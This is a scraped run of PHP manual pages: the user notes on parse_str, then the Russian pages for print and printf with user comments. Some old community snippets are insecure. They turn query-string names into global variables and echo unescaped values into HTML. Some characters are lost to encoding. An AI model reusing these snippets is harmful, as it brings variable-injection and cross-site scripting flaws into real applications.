            // Ordered array
            } else {
                array_push($$name, addslashes(urldecode($value)));
            }

        // Variables
        } else {

            // Declare or overwrite the global variable defined by $name
            global $$name;
            $$name = addslashes(urldecode($value));
        }
    }
}
?>
chris at mcfadyen dot ca 31-Oct-2007 08:48
If you wish a version of parse_str sans magic quotes, the following will do the trick:

<?php
function parse_query($str) {
    $pairs = explode('&', $str);

    foreach($pairs as $pair) {
        list($name, $value) = explode('=', $pair, 2);
        global $$name;
        $$name = $value;
    }
}
?>
Evan K 30-Jul-2007 07:43
It bears mentioning that the parse_str builtin does NOT process a query string in the CGI standard way, when it comes to duplicate fields.  If multiple fields of the same name exist in a query string, every other web processing language would read them into an array, but PHP silently overwrites them:

<?php
# silently fails to handle multiple values
parse_str('foo=1&foo=2&foo=3');

# the above produces:
$foo = array('foo' => '3');
?>

Instead, PHP uses a non-standards compliant practice of including brackets in fieldnames to achieve the same effect.

<?php
# bizarre php-specific behavior
parse_str('foo[]=1&foo[]=2&foo[]=3');

# the above produces:
$foo = array('foo' => array('1', '2', '3') );
?>

This can be confusing for anyone who's used to the CGI standard, so keep it in mind.  As an alternative, I use a "proper" querystring parser function:

<?php
function proper_parse_str($str) {
  # result array
  $arr = array();

  # split on outer delimiter
  $pairs = explode('&', $str);

  # loop through each pair
  foreach ($pairs as $i) {
    # split into name and value
    list($name,$value) = explode('=', $i, 2);

    # if name already exists
    if( isset($arr[$name]) ) {
      # stick multiple values into an array
      if( is_array($arr[$name]) ) {
        $arr[$name][] = $value;
      }
      else {
        $arr[$name] = array($arr[$name], $value);
      }
    }
    # otherwise, simply stick it in a scalar
    else {
      $arr[$name] = $value;
    }
  }

  # return result array
  return $arr;
}

$query = proper_parse_str($_SERVER['QUERY_STRING']);
?>
Vladimir Kornea 17-Jul-2007 09:04
parse_str() is confused by ampersands (&) being encoded as HTML entities (&amp;). This is relevant if you're extracting your query string from an HTML page (scraping). The solution is to run the string through html_entity_decode() before running it through parse_str().

(Editors: my original comment was a caution whose solution is obvious, but it has resulted in three replies ("so what?" "as intended" and "this is how to fix it"). Please remove the previous four posts dealing with this (69529, 70234, 72745, 74818) and leave just the above summary. This issue is too trivial to warrant the number of comments it has received.)
mike dot coley at inbox dot com 02-Jun-2007 12:25
Here is a little function that does the opposite of the parse_str function. It will take an array and build a query string from it.

<?php

/* Converts an array of parameters into a query string to be appended to a URL.
 *
 * @return  string              : Query string to append to a URL.
 * @param   array    $array     : Array of parameters to append to the query string.
 * @param   string   $parent    : This should be left blank (it is used internally by the function).
 */
function append_params($array, $parent='')
{
    $params = array();
    foreach ($array as $k => $v)
    {
        if (is_array($v))
            $params[] = append_params($v, (empty($parent) ? urlencode($k) : $parent . '[' . urlencode($k) . ']'));
        else
            $params[] = (!empty($parent) ? $parent . '[' . urlencode($k) . ']' : urlencode($k)) . '=' . urlencode($v);
    }

    $sessid = session_id();
    if (!empty($parent) || empty($sessid))
        return implode('&', $params);

    // Append the session ID to the query string if we have to.
    $sessname = session_name();
    if (ini_get('session.use_cookies'))
    {
        if (!ini_get('session.use_only_cookies') && (!isset($_COOKIE[$sessname]) || ($_COOKIE[$sessname] != $sessid)))
            $params[] = $sessname . '=' . urlencode($sessid);
    }
    elseif (!ini_get('session.use_only_cookies'))
        $params[] = $sessname . '=' . urlencode($sessid);

    return implode('&', $params);
}

?>

Note that the function will also append the session ID to the query string if it needs to be.
Michal Zalewski 28-Apr-2007 11:27
Vladimir Kornea:
Try use html_entity_decode()

$str = 'first=value&amp;arr[]=foo+bar&amp;arr[]=baz';
parse_str(html_entity_decode($str), $output);
print_r($output);

Array
(
    [first] => value
    [arr] => Array
        (
            [0] => foo bar
            [1] => baz
        )

)
php at voodoolabs dot net 07-Mar-2007 12:32
This is probably a better solution than below. The first line makes sure the file doesn't exist then the second line directs all requests to a script. No need to output a 200 header with this method either.

RewriteEngine On

RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php      [L]
lenix.de 10-Feb-2007 04:20
if you would like to get a nice url scheme with php/apache and and want to handle all requests in a central php script there's a simple solution/hack:

create a .htaccess in your "basedir" where you've got your main script (in this example index.php) containing some lines like:

"ErrorDocument 404 /index.php"

inside index.php you can now do

<?php
    $virtual_path = substr(
        $_SERVER['REQUEST_URI'],
        strlen( dirname( $_SERVER['PHP_SELF'] ) ) + 1
    );
    if( ($pos = strpos( $virtual_path, '?' )) !== false ) {
        parse_str( substr( $virtual_path, $pos + 1 ), $_GET );
        $_REQUEST = array_merge( $_REQUEST, $_GET );
        $virtual_path = substr( $virtual_path, 0, $pos );
    }

    // some code checking for a valid location, etc...
    header( 'HTTP/1.1 200 OK' );
    header( 'Content-Type: text/plain' );

    echo $virtual_path."\n\n";
    print_r( $_REQUEST );
?>

// guido 'lenix' boehm
jgbreezer at gmail dot com 31-Jan-2007 04:52
Vladimir Kornea wrote on 8 Sep 2006:
"This function is confused by ampersands (&) being encoded as HTML entities (&amp;)"

Well, it would be - it's not supposed to be passed html entities, that's a different encoding scheme. This function does correctly decode url encoded params for you though (with the rawurlencode rather than urlencode, ie '+' is translated to a space).
Olivier Mengue 07-Oct-2006 02:02
Vladimir: the function is OK in how it deals with &amp;.
&amp; must only be used when outputing URLs in HTML/XML data.
You should ask yourself why you have &amp; in your URL when you give it to parse_str.
Vladimir Kornea 08-Sep-2006 02:15
This function is confused by ampersands (&) being encoded as HTML entities (&amp;).

$str = "first=value&amp;arr[]=foo+bar&amp;arr[]=baz";
parse_str($str, $output);
print_r($output);

Array
(
    [first] => value
    [amp;arr] => Array
        (
            [0] => foo bar
            [1] => baz
        )
)
PEPE_RIVAS at repixel dot net 28-Aug-2006 06:21
CONVERT ANY FORMATTED STRING INTO VARIABLES

I developed a online payment solution for credit cards using a merchant, and this merchant returns me an answer of the state of the transaction like this:

estado=1,txnid=5555444-8454445-4455554,monto=100.00

to have all that data into variables could be fine for me! so i use str_replace(), the problem is this function recognizes each group of variables with the & character... and i have  comma separated values... so i replace comma with &

<?php
$string = "estado=1,txnid=5555444-8454445-4455554,monto=100.00";
$string = str_replace(",","&",$string);
parse_str($string);
echo $monto; // outputs 100.00
?>
motin at demomusic dot nu 14-Apr-2006 06:13
When you have scripts run through the command-line (like locally via cron), you might want to be able to use _GET and _POST vars. Put this in top of your scheduled task files:

<?
    parse_str ($_SERVER['argv'][1], $GLOBALS['_GET']);
    parse_str ($_SERVER['argv'][2], $GLOBALS['_POST']);
?>

And call your script by:

/usr/local/bin/php /path/to/script.php "id=45&action=delete" "formsubmitted=true"

Cheers!
avi at amarcus dot com 03-Sep-2005 06:32
If you are trying to preserve a complex array, the function serialize might be better than http_build_query or other methods of making a query string.
Tore Bj?lseth 29-Jun-2005 05:59
As of PHP 5, you can do the exact opposite with http_build_query(). Just remember to use the optional array output parameter.

This is a very useful combination if you want to re-use a search string url, but also slightly modify it:

Example:
<?
$url1 = "action=search&interest[]=sports&interest[]=music&sort=id";
$str = parse_str($url1, $output);

// Modifying criteria:
$output['sort'] = "interest";

$url2 = http_build_query($output);

echo "<br>url1: ".$url1;
echo "<br>url2: ".$url2;
?>

Results in:
url1: action=search&interest[]=sports&interest[]=music&sort=id
url2: action=search&interest[0]=sports&interest[1]=music&sort=interest

(Array indexes are automatically created.)
kerosuppi 29-May-2005 09:22
This does not work as expected.

<?php
class someclass
{
    var $query_string;
    function someclass($a_query_string)
    {
        $this->query_string = $a_query_string;
        parse_str($this->query_string);
    }
    function output()
    {
        echo $this->action;
    }
}

$a_class = new someclass("action=go");
$a_class->output();
?>

Use this instead.

<?php
class someclass
{
    var $arr;
    function someclass($a_query_string)
    {
        parse_str($a_query_string, $this->arr);
    }
    function output()
    {
        echo $this->arr['action'];
    }
}

$a_class = new someclass("action=go");
$a_class->output();
?>
mortoray at ecircle-ag dot com 25-May-2005 12:18
In Kent's solution you may wish to switch "urldecode" into "rawurldecode" if you'd like to get rid of the [annoying] plus '+' converted to space ' ' translation.
kent at nospam dot ioflux dot com 06-May-2005 08:13
You may want to parse the query string into an array.

<?php
/**
 * Similar to parse_str. Returns false if the query string or URL is empty. Because we're not parsing to
 * variables but to array key entries, this function will handle ?[]=1&[]=2 "correctly."
 *
 * @return array Similar to the $_GET formatting that PHP does automagically.
 * @param string $url A query string or URL
 * @param boolean $qmark Find and strip out everything before the question mark in the string
*/
function parse_query_string($url, $qmark=true)
{
    if ($qmark) {
        $pos = strpos($url, "?");
        if ($pos !== false) {
            $url = substr($url, $pos + 1);
        }
    }
    if (empty($url))
        return false;
    $tokens = explode("&", $url);
    $urlVars = array();
    foreach ($tokens as $token) {
        $value = string_pair($token, "=", "");
        if (preg_match('/^([^\[]*)(\[.*\])$/', $token, $matches)) {
            parse_query_string_array($urlVars, $matches[1], $matches[2], $value);
        } else {
            $urlVars[urldecode($token)] = urldecode($value);
        }
    }
    return $urlVars;
}

/**
 * Utility function for parse_query_string. Given a result array, a starting key, and a set of keys formatted like "[a][b][c]"
 * and the final value, updates the result array with the correct PHP array keys.
 *
 * @return void
 * @param array $result A result array to populate from the query string
 * @param string $k The starting key to populate in $result
 * @param string $arrayKeys The key list to parse in the form "[][a][what%20ever]"
 * @param string $value The value to place at the destination array key
*/
function parse_query_string_array(&$result, $k, $arrayKeys, $value)
{
    if (!preg_match_all('/\[([^\]]*)\]/', $arrayKeys, $matches))
        return $value;
    if (!isset($result[$k])) {
        $result[urldecode($k)] = array();
    }
    $temp =& $result[$k];
    $last = urldecode(array_pop($matches[1]));
    foreach ($matches[1] as $k) {
        $k = urldecode($k);
        if ($k === "") {
            $temp[] = array();
            $temp =& $temp[count($temp)-1];
        } else if (!isset($temp[$k])) {
            $temp[$k] = array();
            $temp =& $temp[$k];
        }
    }
    if ($last === "") {
        $temp[] = $value;
    } else {
        $temp[urldecode($last)] = $value;
    }
}

/**
* Breaks a string into a pair for a common parsing function.
*
* The string passed in is truncated to the left half of the string pair, if any, and the right half, if anything, is returned.
*
* An example of using this would be:
* <code>
* $path = "Account.Balance";
* $field = string_pair($path);
*
* $path is "Account"
* $field is "Balance"
*
* $path = "Account";
* $field = string_pair($path);
*
* $path is "Account"
* $field is false
* </code>
*
* @return string The "right" portion of the string is returned if the delimiter is found.
* @param string $a A string to break into a pair. The "left" portion of the string is returned here if the delimiter is found.
* @param string $delim The characters used to delimit a string pair
* @param mixed $default The value to return if the delimiter is not found in the string
* @desc
*/
function string_pair(&$a, $delim='.', $default=false)
{
    $n = strpos($a, $delim);
    if ($n === false)
        return $default;
    $result = substr($a, $n+strlen($delim));
    $a = substr($a, 0, $n);
    return $result;
}

?>
anatilmizun at gmail dot com 12-Oct-2004 04:10
I wrote a pair of functions using parse_str() that will write values in an array to a textfile and vice versa, read those values from the textfile back into the array. Quite useful if you need to store lots of data but don't have access to SQL.

Save the array by calling cfg_save($filename,$array) and load it back using $array=cfg_load($filename)

<?php
$newline="?";

function cfg_load($cfgfile){
    global $newline;
    $setting="";
    if(file_exists($cfgfile)){
        $setting=fopen($cfgfile, "r");
        $ookk="";
        while($ook=fgets($setting)){
            #strip comment
            $commt=strpos($ook,"##");
            if($commt!==false) $ook=substr($ook,0,$commt);
            #append
            if($ook!="") $ookk=$ookk."&".    str_replace($newline,"\n",str_replace("&","%26",trim($ook)));
        }
        fclose($setting);
        parse_str($ookk, $setting);
    }
    return $setting;
}

function cfg_save($cfgfile,$setting){
    global $intArray;
    $intArray="";
    for($i=0;$i<2000;$i++)
        $intArray[]=$i;
    if(is_array($setting)){
        $allkeys=array_keys($setting);
        foreach($allkeys as $aKey)
            cfg_recurse($setting[$aKey], $aKey, $outArray);
    }
    $cfgf=fopen($cfgfile,"w");
    foreach($outArray as $aLine)
        fputs($cfgf,stripslashes($aLine)."\r\n");
    fclose($cfgf);
}

function cfg_recurse($stuffIn, $keysofar, &$toAppend){
    global $intArray, $newline;
    if(is_array($stuffIn)){
        $allkeys=array_keys($stuffIn);
        if(array_slice($intArray,0,sizeof($allkeys))==$allkeys)
            $nokey=true;
        else
            $nokey=false;
        foreach($allkeys as $aKey){
            if(!$nokey) $toKey=$aKey;
            cfg_recurse($stuffIn[$aKey], $keysofar."[".$toKey."]", $toAppend);
        }
    }else
        $toAppend[]=$keysofar."=".str_replace("\n",$newline,$stuffIn);
}
?>

Note that these functions support nested arrays of unlimited levels ;)


Выводит строку

  • « parse_str
  • printf »
  • PHP Manual
  • Функции для работы со строками
  • Выводит строку

print

(PHP 4, PHP 5, PHP 7, PHP 8)

print — Выводит строку

Описание

print(string $expression): int

Выводит выражение expression.

print — это не функция, а языковая конструкция. Её аргумент — это выражение после ключевого слова print, не ограниченное круглыми скобками.

Основные отличия от конструкции echo состоят в том, что конструкция print принимает только один аргумент и всегда возвращает 1.

Список параметров

expression

Выражение для вывода. Нестроковые значения будут преобразованы в строки, даже если включена директива strict_types.

Возвращаемые значения

Всегда возвращает 1.

Примеры

Пример #1 Примеры использования языковой конструкции print

<?php

print "print не требует скобок.";

// Новая строка или пробел не добавляются; ниже выводит «приветмир» в одну строку
print "привет";
print "мир";

print "Эта строка занимает
несколько строк. Новые строки
также будут выведены";

print "Эта строка занимает\nнесколько строк. Новые строки\nтакже будут выведены";

// Аргументом может быть любое выражение, производящее строку
$foo = "пример";
print "foo — это $foo"; // foo — это пример

$fruits = ["лимон", "апельсин", "банан"];
print implode(" и ", $fruits); // лимон и апельсин и банан

// Нестроковые выражения приводятся к строковым, даже если установлено declare(strict_types=1)
print 6 * 7; // 42

// Поскольку у конструкции print есть возвращаемое значение, её разрешено вызвать в выражениях
// Следующие выходные данные «привет мир»
if ( print "привет" ) {
echo " мир";
}

// следующее выражение выведет «true»
( 1 === 1 ) ? print 'true' : print 'false';
?>

Примечания

Замечание: Использование с круглыми скобками

Заключение аргумента print в круглые скобки не вызовет синтаксической ошибки и создаст синтаксис, который выглядит как обычный вызов функции. Однако это может ввести в заблуждение, поскольку круглые скобки — частью выводимого выражения, а не часть самого синтаксиса print.

<?php

print "привет";
// выведет «привет»

print("привет");
// также выведет «привет», потому что («привет») — корректное выражение

print(1 + 2) * 3;
// выведет «9»; круглые скобки приводят к тому, что сначала вычисляется 1 + 2, а затем 3 * 3
// конструкция print видит всё выражение как один аргумент

if ( print("привет") && false ) {
print " - внутри if";
}
else {
print " - внутри else";
}
// выведет « - внутри if»
// сначала вычисляется выражение («привет») && false, давая false
// это приводится к пустой строке "" и выводится
// конструкция print затем возвращает 1, поэтому выполняется код в блоке if

?>

При вызове print в более крупном выражении может потребоваться размещение ключевого слова и его аргумента в круглых скобках для получения нужного результата:

<?php

if ( (print "привет") && false ) {
print " - внутри if";
}
else {
print " - внутри else";
}
// выведет «привет - внутри else»
// в отличие от предыдущего примера, выражение (print "привет") вычисляется первым
// после вывода «привет» print возвращает 1
// поскольку 1 && false — ложно, выполняется код в блоке else

print "привет " && print "мир";
// выведет «мир1»; print "мир" выполняется в первую очередь,
// тогда выражение "привет" && 1 передается в левую часть print

(print "привет ") && (print "мир");
// выведет «привет мир»; круглые скобки заставляют выражения print
// выполнятьтся перед оператором &&
?>

Замечание: Поскольку это языковая конструкция, а не функция, её нельзя вызывать как переменную функцию или передавать как именованный аргумент.

Смотрите также

  • echo - Выводит строки
  • printf() - Выводит отформатированную строку
  • flush() - Сбрасывает системный буфер вывода
  • Способы работы со строками

User Contributed Notes

mark at manngo dot net 05-Sep-2023 04:34
The other major difference with echo is that print returns a value, even it's always 1.

That might not look like much, but you can use print in another expression. Here are some examples:

<?php
    rand(0,1) ? print 'Hello' : print 'goodbye';
    print PHP_EOL;
    print 'Hello ' and print 'goodbye';
    print PHP_EOL;
    rand(0,1) or print 'whatever';
?>

Here's a more serious example:

<?php
    function test() {
        return !!rand(0,1);
    }
    test() or print 'failed';
?>
user at example dot net 25-Aug-2008 09:45
Be careful when using print. Since print is a language construct and not a function, the parentheses around the argument is not required.
In fact, using parentheses can cause confusion with the syntax of a function and SHOULD be omited.

Most would expect the following behavior:
<?php
    if (print("foo") && print("bar")) {
        // "foo" and "bar" had been printed
    }
?>

But since the parenthesis around the argument are not required, they are interpretet as part of the argument.
This means that the argument of the first print is

    ("foo") && print("bar")

and the argument of the second print is just

    ("bar")

For the expected behavior of the first example, you need to write:
<?php
    if ((print "foo") && (print "bar")) {
        // "foo" and "bar" had been printed
    }
?>
danielxmorris @ gmail dotcom 16-May-2008 04:08
I wrote a println function that determines whether a \n or a <br /> should be appended to the line depending on whether it's being executed in a shell or a browser window.  People have probably thought of this before but I thought I'd post it anyway - it may help a couple of people.

<?php
function println ($string_message) {
    $_SERVER['SERVER_PROTOCOL'] ? print "$string_message<br />" : print "$string_message\n";
}
?>

Examples:

Running in a browser:

<?php println ("Hello, world!"); ?>
Output: Hello, world!<br />

Running in a shell:

<?php println ("Hello, world!"); ?>
Output: Hello, world!\n


Выводит отформатированную строку

  • « print
  • quoted_printable_decode »
  • PHP Manual
  • Функции для работы со строками
  • Выводит отформатированную строку

printf

(PHP 4, PHP 5, PHP 7, PHP 8)

printf — Выводит отформатированную строку

Описание

printf(string $format, mixed ...$values): int

Выводит строку, отформатированную в соответствии с аргументом format.

Список параметров

format

Строка формата состоит из нуля или более директив: обычные символы (за исключением %), которые просто выводятся без изменения, и спецификаторы преобразования, каждый из которых требует передачи своего параметра.

Спецификаторы преобразования имеют следующий формат: %[argnum$][flags][width][.precision]specifier.

Argnum

Целое число, за которым следует знак доллара $, чтобы указать, какой числовой аргумент обрабатывать при преобразовании.

Флаги
Флаг | Описание
- Выравнивание по левому краю в пределах заданной ширины поля; По умолчанию выравнивание происходит по правому краю.
+ Печатает плюс + у не отрицательных чисел; По умолчанию знак печатается только у отрицательных чисел.
(space) | Дополняет результат пробелами. Это поведение по умолчанию.
0 | Дополняет числа нулями (только слева). Со спецификатором s также может дополнять нулями справа.
'(char) | Дополняет результат символом (char).

Ширина

Либо целое число, указывающее, сколько символов (минимум) должно получиться в результате преобразования, либо *. Если указано значение *, то ширина задаётся как дополнительное целое значение, предшествующее значению, отформатированному спецификатором.

Точность

Точка ., с последующим целым числом, либо *, значение которого зависит от спецификатора:

  • Для спецификаторов e, E, f и F: задаёт количество цифр после десятичной запятой (по умолчанию 6).
  • Для спецификаторов g,G, h и H: задаёт максимальное значение печатаемых значащих цифр.
  • Для спецификатора s: задаёт ограничение максимального количества символов в строке, которые будут выведены.

Замечание: Если указана точка без последующего значения точности, то точность будет считаться за 0. Если указано значение *, точность задаётся как дополнительное целое значение, предшествующее значению, отформатированному спецификатором.

Спецификаторы
Спецификатор | Описание
% Символ процента. Аргументы не требуются.
b | Аргумент рассматривается как целое число и печатается в бинарном представлении.
c | Аргумент рассматривается как целое число и печатается как символ из таблицы ASCII с соответствующим кодом.
d | Аргумент рассматривается как целое число и печатается как целое число со знаком.
e | Аргумент считается за число в научной нотации (т.е. 1.2e+2).
E | Аналогично спецификатору e, но использует заглавные символы (т.е. 1.2E+2).
f | Аргумент считается за число с плавающей точкой (с учётом локали).
F | Аргумент считается за число с плавающей точкой (без учёта локали).
g

Общий формат.

Пусть P равно точности, если она не равно нулю, 6 — если точность не задана и 1, если точность задана как 0. Тогда, если преобразование со стилем "E" будет иметь показатель степени X:

Если P > X ? ?4, преобразование будет в стиле "f" и точность будет P ? (X + 1). В обратном случае, преобразование будет в стиле "e" и точность будет P ? 1.

G | Аналогично спецификатору g, но использует E и f.
h | Аналогично спецификатору g, но использует F. Доступен с PHP 8.0.0.
H | Аналогично спецификатору g, но использует E и F. Доступен с PHP 8.0.0.
o | Аргумент рассматривается как целое число и печатается в восьмеричном представлении.
s | Аргумент рассматривается и печатается как строка.
u | Аргумент рассматривается как целое число и печатается как беззнаковое целое число.
x | Аргумент рассматривается как целое число и печатается в шестнадцатеричном представлении (буквы будут в нижнем регистре).
X | Аргумент рассматривается как целое число и печатается в шестнадцатеричном представлении (буквы будут в верхнем регистре).

Внимание

Спецификатор c игнорирует значения ширины и дополнения

Внимание

Попытка использовать спецификаторы с указанием ширины для строки в многобайтовой кодировке может привести к неожиданным результатам.

Переменные будут приведены к подходящему для спецификатора типу:

Обработка типов
Тип | Спецификатор
string | s
int | d, u, c, o, x, X, b
float | e, E, f, F, g, G, h, H

values

Возвращаемые значения

Возвращает длину выводимой строки.

Ошибки

Начиная с PHP 8.0.0, если количество аргументов равно нулю, выбрасывается исключение ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Начиная с PHP 8.0.0, если [width] меньше нуля или больше PHP_INT_MAX, выбрасывается исключение ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Начиная с PHP 8.0.0, если [precision] меньше нуля или больше PHP_INT_MAX, выбрасывается исключение ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Начиная с PHP 8.0.0, если аргументов задано меньше, чем требуется, выбрасывается исключение ArgumentCountError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | Функция больше не возвращает false, если возникла ошибка.
8.0.0 | Выбрасывает исключение ValueError, если количество аргументов равно нулю; ранее функция выдавала ошибку уровня E_WARNING.
8.0.0 | Выбрасывает исключение ValueError, если [width] меньше нуля или больше PHP_INT_MAX; ранее функция выдавала ошибку уровня E_WARNING.
8.0.0 | Выбрасывает исключение ValueError, если [precision] меньше нуля или больше PHP_INT_MAX; ранее функция выдавала ошибку уровня E_WARNING.
8.0.0 | Выбрасывает исключение ArgumentCountError, если аргументов задано меньше, чем требуется; ранее функция выдавала ошибку уровня E_WARNING.

Примеры

Пример #1 printf(): различные примеры

<?php
$n = 43951789;
$u = -43951789;
$c = 65; // ASCII 65 is 'A'

// двойной %% печатает единичный символ '%'
printf("%%b = '%b'\n", $n); // бинарное представление
printf("%%c = '%c'\n", $c); // печатает символ ascii, аналогично функции chr()
printf("%%d = '%d'\n", $n); // целочисленное представление
printf("%%e = '%e'\n", $n); // научная нотация
printf("%%u = '%u'\n", $n); // положительное целое в беззнаковом представлении
printf("%%u = '%u'\n", $u); // отрицательное целое в беззнаковом представлении
printf("%%f = '%f'\n", $n); // представление в виде числа с плавающей точкой
printf("%%o = '%o'\n", $n); // восмеричное представление
printf("%%s = '%s'\n", $n); // строковое представление
printf("%%x = '%x'\n", $n); // шеснадцатеричное представление в нижнем регистре
printf("%%X = '%X'\n", $n); // шеснадцатеричное представление в верхнем регистре

printf("%%+d = '%+d'\n", $n); // знак у положительного целого
printf("%%+d = '%+d'\n", $u); // знак у отрицательного целого
?>

Результат выполнения приведённого примера:

%b = '10100111101010011010101101'
%c = 'A'
%d = '43951789'
%e = '4.39518e+7'
%u = '43951789'
%u = '4251015507'
%f = '43951789.000000'
%o = '247523255'
%s = '43951789'
%x = '29ea6ad'
%X = '29EA6AD'
%+d = '+43951789'
%+d = '-43951789'

Пример #2 printf(): спецификаторы строки

<?php
$s = 'monkey';
$t = 'many monkeys';

printf("[%s]\n", $s); // стандартный вывод
printf("[%10s]\n", $s); // выравнивание вправо с пробелами
printf("[%-10s]\n", $s); // выравнивание влево с пробелами
printf("[%010s]\n", $s); // строка дополняется нулями слева
printf("[%'#10s]\n", $s); // строка дополняется пользовательским символом '#'
printf("[%'#*s]\n", 10, $s); // укажите ширину отступа в качестве дополнительного аргумента
printf("[%10.9s]\n", $t); // выравнивание вправо с отсечкой в 9 символов
printf("[%-10.9s]\n", $t); // выравнивание влево с отсечкой в 9 символов
?>

Результат выполнения приведённого примера:

[monkey]
[    monkey]
[monkey    ]
[0000monkey]
[####monkey]
[####monkey]
[ many monk]
[many monk ]

Смотрите также

  • print - Выводит строку
  • sprintf() - Возвращает отформатированную строку
  • fprintf() - Записывает отформатированную строку в поток
  • vprintf() - Выводит отформатированную строку
  • vsprintf() - Возвращает отформатированную строку
  • vfprintf() - Записывает отформатированную строку в поток
  • sscanf() - Разбирает строку в соответствии с заданным форматом
  • fscanf() - Обрабатывает данные из файла в соответствии с форматом
  • number_format() - Форматирует число с группировкой классов многозначного числа
  • date() - Форматирует временную метку Unix
  • flush() - Сбрасывает системный буфер вывода

User Contributed Notes

Mario M. Junior 21-Aug-2022 10:32
To provide a more user-friendly interface, you can use colors when printing text in the terminal.

p('Ordinary text.');
p('Warning: Check this out...', 'info');
p('Ops! Something went wrong.', 'error');
p('Yeah... done!', 'success');

function p($text, $style = '', $newLine = true) {

    $styles = array(
        'success' => "\033[0;32m%s\033[0m",
        'error'   => "\033[31;31m%s\033[0m",
        'info'    => "\033[33;33m%s\033[0m",

        'Black'    => "\033[0;30m%s\033[0m",
        'Red'      => "\033[0;31m%s\033[0m",
        'Green'    => "\033[0;32m%s\033[0m",
        'Yellow'   => "\033[0;33m%s\033[0m",
        'Blue'     => "\033[0;34m%s\033[0m",
        'Purple'   => "\033[0;35m%s\033[0m",
        'Cyan'     => "\033[0;36m%s\033[0m",
        'Gray'     => "\033[0;37m%s\033[0m",
        'Graphite' => "\033[1;30m%s\033[0m",

        'Bold Red'    => "\033[1;31m%s\033[0m",
        'Bold Green'  => "\033[1;32m%s\033[0m",
        'Bold Yellow' => "\033[1;33m%s\033[0m",
        'Bold Blue'   => "\033[1;34m%s\033[0m",
        'Bold Purple' => "\033[1;35m%s\033[0m",
        'Bold Cyan'   => "\033[1;36m%s\033[0m",
        'Bold White'  => "\033[1;37m%s\033[0m",

        'Bg Black'  => "\033[40;1;37m%s\033[0m",
        'Bg Red'    => "\033[41;1;37m%s\033[0m",
        'Bg Green'  => "\033[42;1;37m%s\033[0m",
        'Bg Yellow' => "\033[43;1;37m%s\033[0m",
        'Bg Blue'   => "\033[44;1;37m%s\033[0m",
        'Bg Purple' => "\033[45;1;37m%s\033[0m",
        'Bg Cyan'   => "\033[46;1;37m%s\033[0m",
        'Bg Gray'   => "\033[47;1;37m%s\033[0m",

        'Underscore' => "\033[4;37m%s\033[0m",
        'Inverted'   => "\033[7;37m%s\033[0m",
        'Blink'      => "\033[5;37m%s\033[0m",
    );

    $format = '%s';

    if (isset($styles[$style])) {
        $format = $styles[$style];
    }

    if ($newLine) {
        $format .= PHP_EOL;
    }

    printf($format, $text);
}
steve at myschoolsystems dot com 08-Jul-2021 02:47
To format a dollar value as in $123.00 that may otherwise look like $123  use this

print ('$');                    // the dollar sign in front of our answer
printf ('%.2f',$price);
RS 12-Jul-2016 07:20
If your missing features such as "-"*100 to print a single character multiple times you can use the slightly longer and less readable PHP equivalent printf("%'-100s",""); and sprint("%'-100s","").
creating dot www at gmail dot com 18-Mar-2015 01:29
Why rounding is not same as for round()?

Try this code:

<?php
printf("%.02lf\n", 1.035);
printf("%.02lf\n", round(1.035, 2));
?>
Result:
1.03
1.04

In my opion it should be:
1.04
1.04

Why is that?
spiffytech at gmail dot com 15-Feb-2012 09:11
Be careful when relying on typecasting with printf(). For example,

    printf("%d", "17,999")

returns "17".
kalai_msc29 at rediffmail dot com 29-Mar-2007 11:04
//If you want to make many Hidden fields you can use the function
//You can pass the values as array value,This will help you, when you are going to post many hiddend fields:-
function MakeHidden($ArrValues)
    {
       global $dearvar;
       echo $dearvar;
       if(is_array($ArrValues)){
             foreach($ArrValues as $key=>$values)
              {
                 echo $MakeHTML = "<input type='hidden' name='$values' value='$values'>";
               }
      }

      else {
            echo $MakeHTML = "<input type='hidden' name='$ArrValues' value='$ArrValues'>";
         }
   return $MakeHTML;
}

//example:-

MakeHidden(array("value1","value2","value3"));

//OutPut :-

<input type="hidden" value="value1" name="value1"/>
<input type="hidden" value="value2" name="value2"/>
<input type="hidden" value="value3" name="value3"/>
php at mole dot gnubb dot net 10-Apr-2005 06:15
[Editor's Note: Or just use vprintf...]

If you want to do something like <?php printf('There is a difference between %s and %s', array('good', 'evil')); ?> (this doesn't work)  instead of <?php printf('There is a difference between %s and %s', 'good', 'evil'); ?> you can use this function:

<?php
function printf_array($format, $arr)
{
    return call_user_func_array('printf', array_merge((array)$format, $arr));
}
?>

Use it the following way:
<?php
$goodevil = array('good', 'evil');
printf_array('There is a difference between %s and %s', $goodevil);
?>
and it will print:
There is a difference between good and evil
codeslinger at compsalot dot com 30-Jan-2005 08:24
Several people have commented about problems with aligning numbers.  I just wanted to add a bit of clarification.

According to the spec all True Type Fonts (especially porpotional spaced fonts) use a fixed width for numeric digits.  All digits have the same width which is equal to the width of "0".

Where things go haywire when trying to align numbers is that the space character does not have the same width as a digit when using a porportional spaced font.

Therefore if you want to line up a column of numbers, you can not use leading spaces to position them unless you use the same quantity of space characters for each row. e.g. your numbers have leading zeros etc.

The simplest solution is to switch to a monospaced font.  Alternativly you can use positioning tags.

Summary: Your numbers will always line up properly regardless of the font used, if you get the starting position to be consistant.
lordfarquaad at notredomaine dot net 03-Mar-2004 06:48
In response to chris dot breen at accurate dot com :

This will work, but i didn't try:
<?php
$format = 'The %2$s contains %1$d monkeys.
         That is a nice %2$s full of %1$d monkeys.';
printf($format, $num, $location);
?>

Your problem came from the fact that in the string "\$s", the $ is simply escaped by the \, but but you must not do that with single quoted strings. Try to echo your strings to test it, or just go to http://www.php.net/manual/en/language.types.string.php
eugenew at starhub dot net dot sg 20-Dec-2002 09:13
If anyone is looking for writing a quine using printf(),
this is my example:

<?php $f='<?php $f=%c%s%c; printf($f,39,$f,39); ?>'; printf($f,39,$f,39); ?>

This also helps those who are new to printf() see one way of using the 'mixed args' part, rather than just a single argument as in most examples I've seen.
dalu at uni SPAMHAM dot de 10-Dec-2002 10:43
copypasted from msdn

A format specification, which consists of optional and required fields, has the following form:

%[flags] [width] [.precision] [{h | l | I64 | L}]type

Each field of the format specification is a single character or a number signifying a particular format option. The simplest format specification contains only the percent sign and a type character (for example, %s). If a percent sign is followed by a character that has no meaning as a format field, the character is copied to stdout. For example, to print a percent-sign character, use %%.

